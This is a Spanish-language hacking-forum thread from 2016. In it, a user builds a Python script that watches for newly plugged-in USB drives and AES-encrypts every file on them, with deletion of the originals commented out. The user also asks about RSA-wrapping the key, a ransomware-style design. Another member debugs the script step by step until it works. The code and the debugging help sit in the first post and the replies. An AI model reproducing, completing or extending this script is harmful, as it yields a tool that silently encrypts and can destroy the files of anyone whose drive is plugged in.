Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: geshiro en 7 Diciembre 2016, 07:43 am



Título: el script al momento de cifrar los archivos del usb truena python
Publicado por: geshiro en 7 Diciembre 2016, 07:43 am
lo que quiero es hacer que en cuanto mande la ruta de los archivos del usb que me encripte todo pero cuando quiero hacer ese paso me truena y dice que no existe la ruta espeficiada pero en el scan que hace si vienen los archivos como pudiera arreglarlo?

Código
  1. Searching usb...
  2. letter: F:\
  3. There were 1 drives added: set(['F']). Newly mounted drive letter is F:\
  4.  
  5. Traceback (most recent call last):
  6.  File "C:\Users\Aaron\Desktop\new\script.py", line 80, in <module>
  7.    encrypt_file(str(encrypt_files))
  8.  File "C:\Users\Aaron\Desktop\new\script.py", line 25, in encrypt_file
  9.    filesize = str(os.path.getsize(filename)).zfill(16)
  10.  File "C:\Python27\lib\genericpath.py", line 57, in getsize
  11.    return os.stat(filename).st_size
  12. WindowsError: [Error 3] El sistema no puede encontrar la ruta especificada: "['Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters (1).pdf', 'CEH-Exam-Blueprint-v2.0.pdf', 'index.png', '\\xedndice.png', 'Learning Python, 5th Edition.pdf', 'kali-linux-2016.2-amd64.iso', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02 (1).pdf', 'C\\xe1lculo de Una Variable - James Stewart - 7a Ed.pdf', 'Untitleddocument.docx', 'VirtualBox-5.1.8-111374-Win.exe', 'from_sqli_to_shell_i386.iso', 'script.py', 'Visit Islas Tasmania.docx', 'solucionariodechapraycanale-quintaedicion-150726233458-lva1-app6891.pdf', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02.pdf']"


Código
  1. from ctypes import windll
  2. from Crypto.PublicKey import RSA
  3. from Crypto.Hash import SHA256
  4. from Crypto import Random
  5. import string
  6. import time
  7. import os, sys
  8.  
  9.  
  10.  
  11.  
  12. def get_drives():
  13.    drives = []
  14.    bitmask = windll.kernel32.GetLogicalDrives()
  15.    for letter in string.uppercase:
  16.        if bitmask & 1:
  17.         drives.append(letter)
  18.        bitmask >>= 1
  19.    return drives
  20.  
  21.  
  22. def encrypt(filename):
  23. chunksize = 64 * 1024
  24. outFile = os.path.join(os.path.dirname(filename), "(encrypted)"+os.path.basename(filename))
  25. filesize = str(os.path.getsize(filename)).zfill(16)
  26. IV = ''
  27.  
  28. for i in range(16):
  29. IV += chr(random.randint(0, 0xFF))
  30.  
  31. encryptor = AES.new(key, AES.MODE_CBC, IV)
  32.  
  33. with open(filename, "rb") as infile:
  34. with open(outFile, "wb") as outfile:
  35. outfile.write(filesize)
  36. outfile.write(IV)
  37.  
  38. while True:
  39. chunk = infile.read(chunksize)
  40.  
  41. if len(chunk) == 0:
  42. break
  43.  
  44. elif len(chunk) % 16 !=0:
  45. chunk += ' ' * (16 - (len(chunk) % 16))
  46.  
  47. outfile.write(encryptor.encrypt(chunk))
  48.  
  49.  
  50. def list_files(path):
  51.    files = []
  52.    for name in os.listdir(path):
  53.        if os.path.isfile(os.path.join(path, name)):
  54.            files.append(name)
  55.    return files
  56.  
  57.  
  58.  
  59. if __name__ == '__main__':
  60. print 'Searching usb...'
  61. while True:
  62. before = set(get_drives())
  63. time.sleep(5)
  64. after = set(get_drives())
  65. drives = after - before
  66. delta = len(drives)
  67. if (delta):
  68. for drive in drives:
  69. if os.system("cd " + drive + ":") == 0:
  70. newly_mounted = '%c:\\'%(drive)
  71. encrypt_files = list_files(newly_mounted)
  72. print "letter: "+newly_mounted
  73. print "fueron montados  %d USB agregada : %s. la letra es %s" % (delta, drives, newly_mounted)
  74. for x in encrypt_files:
  75. if os.path.basename(x).startswith("(encrypted)"):
  76. print "%s is already encrypted" %str(x)
  77. pass
  78.  
  79. else:
  80. encrypt_file(str(encrypt_files))
  81. print "encryptacion terminada %s" %str(x)
  82. """os.remove(x) """
  83. else:
  84. print "no hay ningun usb"
  85.  
  86.  
  87.  


Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: MCKSys Argentina en 7 Diciembre 2016, 13:48 pm
Según veo en tu código, en la linea 80 a encrypt_file le estás pasando una lista de archivos y creo que la función espera un string con el nombre del archivo.

Lo anterior es si encrypt_file es el encrypt de la linea 22 (Aunque no es el mismo nombre de función)

Saludos!


Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: geshiro en 7 Diciembre 2016, 18:14 pm
Y eso como lo resolveria? Pasarle la lista a mi funcion encrypt_file() para lo realize bien


Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: MCKSys Argentina en 7 Diciembre 2016, 18:28 pm
Y eso como lo resolveria? Pasarle la lista a mi funcion encrypt_file() para lo realize bien

En el bucle estás usando x para iterar por la lista. Deberías pasarle dicha variable a encrypt_file() en vez de la lista completa... no?

Saludos!

EDIT: Si debugeas el código, se te hará más snecillo corregir los errores que tenga.


Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: geshiro en 7 Diciembre 2016, 18:37 pm
Le estoy pasando dicha variable


Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: MCKSys Argentina en 7 Diciembre 2016, 19:07 pm
Le estoy pasando dicha variable

Mira la línea 80 del código que has posteado. Ahí es donde debes usar pasarle x a encrypt_file(). Incluso el str() estaría demás.

Saludos!


Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: geshiro en 7 Diciembre 2016, 20:46 pm
si de hecho ya lo intente solo que al mandarlo ahora me muestra que no puede encontrar el otro  incluso usando
Código
  1. encrypt_file(x)

Código
  1. Searching usb...
  2. letter: F:\
  3. There were 1 drives added: set(['F']). Newly mounted drive letter is F:\
  4.  
  5. Traceback (most recent call last):
  6.  File "C:\Users\Aaron\Desktop\new\1.py", line 80, in <module>
  7.    encrypt_file(x)
  8.  File "C:\Users\Aaron\Desktop\new\1.py", line 25, in encrypt_file
  9.    filesize = str(os.path.getsize(filename)).zfill(16)
  10.  File "C:\Python27\lib\genericpath.py", line 57, in getsize
  11.    return os.stat(filename).st_size
  12. WindowsError: [Error 2] El sistema no puede encontrar el archivo especificado: 'Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters (1).pdf'


Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: MCKSys Argentina en 7 Diciembre 2016, 23:03 pm
Claro, porque x sólo contiene el nombre. Deberías armar el path completo al archivo para poder abrirlo.

Saludos!


Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: geshiro en 7 Diciembre 2016, 23:46 pm
como pudiera armar bien el path para abrirlos

se suponia que en esta parte le daba la ruta  de los archivos


      
Código
  1. for drive in drives:
  2. if os.system("cd " + drive + ":") == 0:
  3. newly_mounted = '%c:\\'%(drive)


Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: MCKSys Argentina en 8 Diciembre 2016, 00:21 am
Prueba reemplazar x con os.path.join(newly_mounted, x)

Ten en cuenta que sólo trabajará con los archivos que están en el root. Si hay carpetas y archivos dentro, vas a tener que devolver las carpetas también como path en la función list_files()

Saludos!


Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: geshiro en 8 Diciembre 2016, 00:22 am
espera como
Código
  1. for os.path.join(newly_mounted, x) in variable? encrypt_file(os.path.join(newly_mounted, x))


Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: MCKSys Argentina en 8 Diciembre 2016, 00:34 am
En la linea 80, reemplaza:

Código
  1. encrypt_file(str(encrypt_files))
  2.  

por

Código
  1. encrypt_file(os.path.join(newly_mounted, x))
  2.  

Prueba con eso.

Saludos!


Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: geshiro en 8 Diciembre 2016, 00:36 am
otra duda si quiero modificar mi funcion en donde scaneo los archivos por sub folders por ejemplo todo el projecto codeigniter pero uso walk como hago para que no  demore mucho y lo haga rapido porque el script debe funcionar en cuanto detecte el usb boom


Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: MCKSys Argentina en 8 Diciembre 2016, 00:40 am
Ni idea. Vas a tener que revisar la doc de python y ver algunos ejemplos en Google para saber cuál es el método más rápido...  :P

Saludos!


Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: geshiro en 8 Diciembre 2016, 02:03 am
funciono solo que si quiero la llave de aes encriptarla con rsa en el mismo for lo abro el archvio .pem o como pudiera hacer algo similar a esto S
Código
  1. HA256.new(password).digest()


Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: geshiro en 8 Diciembre 2016, 22:29 pm
o no se puediera ?